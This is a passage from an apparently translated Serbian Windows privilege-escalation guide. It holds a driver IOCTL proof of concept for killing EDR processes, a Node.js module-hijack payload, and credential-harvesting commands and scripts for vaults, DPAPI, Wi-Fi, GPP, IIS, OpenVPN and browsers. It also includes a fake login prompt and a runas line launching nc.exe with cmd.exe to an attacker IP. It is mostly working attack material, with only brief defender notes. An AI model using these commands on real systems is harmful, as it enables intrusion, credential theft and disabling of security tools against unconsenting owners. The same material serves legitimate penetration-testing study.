- Vraćanje handle-ova sa punim pristupom ka proizvoljnim procesima (token theft / SYSTEM shell preko DuplicateTokenEx/CreateProcessAsUser).
- Neograničen raw disk read/write (offline tampering, boot-time persistence trikovi).
- Ubijanje proizvoljnih procesa, uključujući Protected Process/Light (PP/PPL), što omogućava AV/EDR kill iz user land preko kernel-a.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Ublažavanja za developere
- Uvek postavite FILE_DEVICE_SECURE_OPEN kada kreirate device objects namenjene da budu ograničeni DACL-om.
- Validirajte caller context za privilegovane operacije. Dodajte PP/PPL provere pre nego što dozvolite termination procesa ili vraćanje handle-ova.
- Ograničite IOCTLs (access masks, METHOD_*, validaciju inputa) i razmotrite brokered modele umesto direktnih kernel privilegija.
Ideje za detekciju za defendere
- Pratite user-mode otvaranja sumnjivih imena device-a (npr. \ .\amsdk*) i specifične IOCTL nizove koji ukazuju na abuse.
- Primenite Microsoft-ovu vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i održavajte sopstvene allow/deny liste.
PATH DLL Hijacking
Ako imate write permissions unutar foldera koji se nalazi na PATH možete moći da hijack-ujete DLL koji učitava proces i da eskalirate privilegije.
Proverite permissions svih foldera unutar PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Za više informacija o tome kako da abuse-ujete ovu proveru:
Writable Sys Path +Dll Hijacking Privesc
Node.js / Electron hijacking rezolucije modula preko C:\node_modules
Ovo je varijanta Windows uncontrolled search path koja utiče na Node.js i Electron aplikacije kada izvrše bare import kao što je require("foo") i očekivani modul nedostaje.
Node rešava pakete tako što ide uz hijerarhiju direktorijuma i proverava node_modules foldere u svakom parent direktorijumu. Na Windows-u, to pretraživanje može da stigne do root-a diska, pa aplikacija pokrenuta iz C:\Users\Administrator\project\app.js može na kraju da proverava:
C:\Users\Administrator\project\node_modules\fooC:\Users\Administrator\node_modules\fooC:\Users\node_modules\fooC:\node_modules\foo
Ako low-privileged user može da kreira C:\node_modules, može da postavi maliciozni foo.js (ili folder paketa) i da sačeka da higher-privileged Node/Electron process reši nedostajuću zavisnost. Payload se izvršava u security context-u žrtvinog procesa, tako da ovo postaje LPE kad god target radi kao administrator, iz elevated scheduled task/service wrapper-a, ili iz auto-startovanog privileged desktop app-a.
Ovo je naročito često kada:
- je zavisnost navedena u
optionalDependencies - third-party library umotava
require("foo")utry/catchi nastavlja nakon greške - je paket uklonjen iz production build-ova, izostavljen tokom packaging-a ili nije uspeo da se instalira
- ranjivi
require()se nalazi duboko u dependency tree-ju umesto u glavnom application code-u
Lov na ranjive targete
Koristite Procmon da dokažete resolution path:
- Filter by
Process Name= target executable (node.exe, Electron app EXE, ili wrapper process) - Filter by
Pathcontainsnode_modules - Fokusirajte se na
NAME NOT FOUNDi konačno uspešno otvaranje podC:\node_modules
Korisni code-review obrasci u raspakovanim .asar fajlovima ili application source-u:
rg -n 'require\\("[^./]' .
rg -n "require\\('[^./]" .
rg -n 'optionalDependencies' .
rg -n 'try[[:space:]]*\\{[[:space:][:print:]]*require\\(' .
Eksploatacija
- Identifikuj ime paketa koje nedostaje pomoću Procmon-a ili pregleda izvornog koda.
- Napravi root lookup direktorijum ako već ne postoji:
mkdir C:\node_modules
- Ubaci modul sa tačno očekivanim imenom:
// C:\node_modules\foo.js
require("child_process").exec("calc.exe")
module.exports = {}
- Pokreni aplikaciju žrtve. Ako aplikacija pokuša
require("foo")i legitimni modul nedostaje, Node može učitatiC:\node_modules\foo.js.
Primeri iz prakse za nedostajuće opcionalne module koji odgovaraju ovom obrascu uključuju bluebird i utf-8-validate, ali tehnika je ono što se može ponovo koristiti: pronađi bilo koji missing bare import koji će privilegovani Windows Node/Electron proces rešiti.
Ideje za detekciju i hardening
- Alarmiraj kada korisnik kreira
C:\node_modulesili tamo upisuje nove.jsfajlove/pakete. - Traži high-integrity procese koji čitaju iz
C:\node_modules\*. - Upakuj sve runtime dependency-je u production i proveri upotrebu
optionalDependencies. - Pregledaj code trećih strana zbog tihih
try { require("...") } catch {}obrazaca. - Onemogući optional probe kada ih biblioteka podržava (na primer, neke
wsdeployment-ove možeš izbeći legacyutf-8-validateprobe saWS_NO_UTF_8_VALIDATE=1).
Network
Shares
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Proverite da li postoje drugi poznati računari hardkodovani u hosts fajlu
type C:\Windows\System32\drivers\etc\hosts
Mrežni interfejsi & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Otvoreni portovi
Proverite restricted services spolja
netstat -ano #Opened ports?
Tabela rutiranja
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP tabela
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Pravila firewall-a
Proverite ovu stranicu za komande vezane za Firewall (list rules, create rules, turn off, turn off…)
Više komandi za mrežno enumerisanje ovde
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Binary bash.exe se takođe može pronaći u C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Ako dobijete root korisnika, možete da slušate na bilo kom portu (prvi put kada koristite nc.exe da slušate na portu, preko GUI će pitati da li firewall treba da dozvoli nc).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Da biste lako pokrenuli bash kao root, možete probati --default-user root
Možete istražiti WSL filesystem u fascikli C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Credentials
Winlogon Credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault čuva korisničke credentials za servere, sajtove i druge programe u koje Windows može da se automatski prijavi korisnika. Na prvi pogled, ovo može izgledati kao da korisnici sada mogu da čuvaju svoje Facebook credentials, Twitter credentials, Gmail credentials itd., tako da se automatski prijavljuju preko browsera. Ali nije tako.
Windows Vault čuva credentials koje Windows može automatski da koristi za prijavu korisnika, što znači da bilo koja Windows aplikacija kojoj trebaju credentials za pristup resursu (serveru ili sajtu) može da koristi ovaj Credential Manager i Windows Vault i da upotrebi dostavljene credentials umesto da korisnici stalno unose username i password.
Osim ako aplikacije ne komuniciraju sa Credential Manager, ne mislim da je moguće da koriste credentials za dati resurs. Dakle, ako vaša aplikacija želi da koristi vault, trebalo bi nekako da komunicira sa credential manager i zatraži credentials za taj resurs iz podrazumevanog storage vault.
Koristite cmdkey da biste izlistali sačuvane credentials na mašini.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Zatim možete koristiti runas sa opcijama /savecred da biste koristili sačuvane kredencijale. Sledeći primer poziva udaljeni binarni fajl preko SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Korišćenje runas sa datim skupom kredencijala.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.
DPAPI
Data Protection API (DPAPI) obezbeđuje metod za simetričnu enkripciju podataka, koji se pretežno koristi unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi korisnički ili sistemski secret kako bi značajno doprinela entropiji.
DPAPI omogućava enkripciju ključeva preko simetričnog ključa koji je izveden iz korisnikovih login secrets. U scenarijima koji uključuju sistemsku enkripciju, koristi sistemske domain authentication secrets.
Enkriptovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u direktorijumu %APPDATA%\Microsoft\Protect\{SID}, gde {SID} predstavlja korisnikov Security Identifier. DPAPI ključ, koji se nalazi zajedno sa master key-em koji štiti korisnikove privatne ključeve u istoj datoteci, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, pa se njegov sadržaj ne može izlistati pomoću komande dir u CMD, iako se može izlistati kroz PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Možete koristiti mimikatz module dpapi::masterkey sa odgovarajućim argumentima (/pvk ili /rpc) da ga dešifrujete.
credentials files protected by the master password se obično nalaze u:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Možete da koristite mimikatz module dpapi::cred sa odgovarajućim /masterkey za dešifrovanje.
Možete da izvučete mnogo DPAPI masterkeys iz memorije pomoću sekurlsa::dpapi modula (ako ste root).
PowerShell Credentials
PowerShell credentials se često koriste za scripting i automation zadatke kao način da se praktično čuvaju šifrovani credentials. Credentials su zaštićeni pomoću DPAPI, što obično znači da mogu da ih dešifruju samo isti user na istom računaru na kojem su kreirani.
Da biste dešifrovali PS credentials iz fajla koji ih sadrži, možete da uradite:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Sačuvane RDP konekcije
Možete ih pronaći u HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i u HKCU\Software\Microsoft\Terminal Server Client\Servers\
Nedavno pokretane komande
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Remote Desktop Credential Manager
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Koristite Mimikatz dpapi::rdg modul sa odgovarajućim /masterkey da biste dešifrovali bilo koje .rdg fajlove
Možete izvući mnoge DPAPI masterkeys iz memorije pomoću Mimikatz sekurlsa::dpapi modula
Sticky Notes
Ljudi često koriste StickyNotes aplikaciju na Windows radnim stanicama da bi sačuvali lozinke i druge informacije, ne shvatajući da je to database fajl. Ovaj fajl se nalazi na C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i uvek ga vredi pretražiti i pregledati.
AppCmd.exe
Imajte na umu da za oporavak lozinki iz AppCmd.exe morate biti Administrator i pokrenuti ga pod High Integrity nivoom.
AppCmd.exe se nalazi u direktorijumu %systemroot%\system32\inetsrv\.
Ako ovaj fajl postoji, moguće je da su neke credentials konfigurisane i mogu biti recovered.
Ovaj kod je izdvojen iz PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Proverite da li C:\Windows\CCM\SCClient.exe postoji .
Instaleri se pokreću sa SYSTEM privilegijama, mnogi su ranjivi na DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Datoteke i Registry (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Host Keys
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH ključevi u registru
SSH privatni ključevi mogu biti sačuvani unutar registracionog ključa HKCU\Software\OpenSSH\Agent\Keys, pa bi trebalo da proveriš da li se tamo nalazi nešto interesantno:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Ako pronađete bilo koji unos unutar te putanje, verovatno je to sačuvani SSH key. Čuva se šifrovano, ali se može lako dešifrovati pomoću https://github.com/ropnop/windows_sshagent_extract.
Više informacija o ovoj tehnici ovde: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Ako ssh-agent service nije pokrenut i želite da se automatski pokrene pri boot-u, pokrenite:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Izgleda da ova tehnika više nije validna. Pokušao sam da napravim neke ssh ključeve, dodam ih sa
ssh-addi prijavim se preko ssh na mašinu. Registry HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao korišćenjedpapi.dlltokom asymmetric key autentikacije.
Unattended files
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Možete takođe da tražite ove fajlove pomoću metasploit: post/windows/gather/enum_unattend
Primer sadržaja:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM backup-ovi
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Cloud Credentials
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Potražite fajl pod nazivom SiteList.xml
Cached GPP Pasword
Ranije je bila dostupna funkcija koja je omogućavala postavljanje prilagođenih lokalnih administratorskih naloga na grupu mašina putem Group Policy Preferences (GPP). Međutim, ovaj metod je imao ozbiljne bezbednosne propuste. Prvo, Group Policy Objects (GPOs), čuvani kao XML fajlovi u SYSVOL, mogli su da budu dostupni bilo kom domain korisniku. Drugo, lozinke unutar tih GPPs, šifrovane AES256 pomoću javno dokumentovanog podrazumevanog ključa, mogao je da dešifruje bilo koji autentifikovani korisnik. Ovo je predstavljalo ozbiljan rizik, jer je moglo da omogući korisnicima da steknu povišene privilegije.
Da bi se ublažio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP fajlove koji sadrže polje “cpassword” koje nije prazno. Kada se takav fajl pronađe, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat uključuje detalje o GPP-u i lokaciji fajla, pomažući u identifikaciji i otklanjanju ove bezbednosne ranjivosti.
Potražite u C:\ProgramData\Microsoft\Group Policy\history ili u C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (pre W Vista) ove fajlove:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Za dekriptovanje cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Korišćenje crackmapexec za dobijanje lozinki:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
type C:\Windows\Microsoft.NET\Framework644.0.30319\Config\web.config | findstr connectionString
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Primer web.config sa kredencijalima:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN kredencijali
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logovi
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Zatraži credentials
Uvek možeš zamoliti korisnika da unese svoje credentials ili čak credentials nekog drugog korisnika ako misliš da ih može znati (imaj na umu da je direktno traženje od klijenta za credentials zaista rizično):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Mogući nazivi fajlova koji sadrže kredencijale
Poznati fajlovi koji su nekada sadržali lozinke u plain text ili Base64 formatu
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Potraži sve predložene fajlove:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Kredencijali u RecycleBin
Takođe bi trebalo da proveriš Bin da bi u njemu potražio kredencijale
Za oporavak lozinki sačuvanih od strane više programa možeš da koristiš: http://www.nirsoft.net/password_recovery_tools.html
Unutar registra
Drugi mogući registry ključevi sa kredencijalima
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Browsers History
Treba da proveriš dbs gde su sačuvane lozinke iz Chrome ili Firefox.
Takođe proveri istoriju, obeleživače i favorite browsera, jer je moguće da su neke passwords are tamo sačuvane.
Alati za ekstrakciju lozinki iz browsera:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) je tehnologija ugrađena u Windows operativni sistem koja omogućava intercommunication između softverskih komponenti različitih jezika. Svaka COM komponenta je identifikovana preko class ID (CLSID) i svaka komponenta izlaže funkcionalnost preko jedne ili više interfejsa, identifikovanih preko interface ID (IIDs).
COM klase i interfejsi su definisani u registru pod HKEY\CLASSES\ROOT\CLSID i HKEY\CLASSES\ROOT\Interface respektivno. Ovaj registar se kreira spajanjem HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Unutar CLSID-ova ovog registra možeš da pronađeš child registry InProcServer32 koji sadrži default value koja pokazuje na DLL i vrednost zvanu ThreadingModel koja može biti Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) ili Neutral (Thread Neutral).
.png)
U suštini, ako možeš da overwrite any of the DLLs koje će biti izvršene, mogao bi da escalate privileges ako će tu DLL izvršavati drugi korisnik.
Da bi saznao kako napadači koriste COM Hijacking kao mehanizam za persistence, pogledaj:
Generic Password search in files and registry
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Pretraži fajl sa određenim imenom
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Pretraži registry za nazive ključeva i lozinke
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Alati koji traže lozinke
MSF-Credentials Plugin is a msf plugin koji sam napravio; ovaj plugin automatski izvršava svaki metasploit POST modul koji traži credentials unutar žrtve.
Winpeas automatski traži sve fajlove koji sadrže passwords pomenute na ovoj strani.
Lazagne je još jedan odličan alat za ekstrakciju passworda iz sistema.
Alat SessionGopher traži sessions, usernames i passwords za nekoliko alata koji čuvaju ove podatke u clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, i RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Zamislite da proces pokrenut kao SYSTEM otvori novi proces (OpenProcess()) sa punim pristupom. Isti proces takođe kreira novi proces (CreateProcess()) sa niskim privilegijama, ali nasleđujući sve otvorene handle-ove glavnog procesa.
Zatim, ako imate pun pristup procesu sa niskim privilegijama, možete preuzeti otvoreni handle ka privilegovanom procesu kreiranom sa OpenProcess() i ubaciti shellcode.
Pročitajte ovaj primer za više informacija o tome kako da detektujete i iskoristite ovu ranjivost.
Pročitajte i ovaj drugi post za potpunije objašnjenje kako da testirate i zloupotrebite više otvorenih handle-ova procesa i thread-ova nasleđenih sa različitim nivoima dozvola (ne samo pun pristup).
Named Pipe Client Impersonation
Deljeni memorijski segmenti, poznati kao pipes, omogućavaju komunikaciju između procesa i prenos podataka.
Windows pruža funkciju pod nazivom Named Pipes, koja omogućava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo liči na client/server arhitekturu, sa ulogama definisanim kao named pipe server i named pipe client.
Kada client šalje podatke kroz pipe, server koji je podesio pipe može da preuzme identitet tog client-a, pod uslovom da ima potrebna SeImpersonate prava. Identifikovanje privilegovano procesa koji komunicira preko pipe-a koji možete da oponašate pruža priliku da steknete više privilegije tako što ćete usvojiti identitet tog procesa kada on stupi u interakciju sa pipe-om koji ste vi postavili. Za uputstva o izvođenju takvog napada, korisni vodiči se mogu naći ovde i ovde.
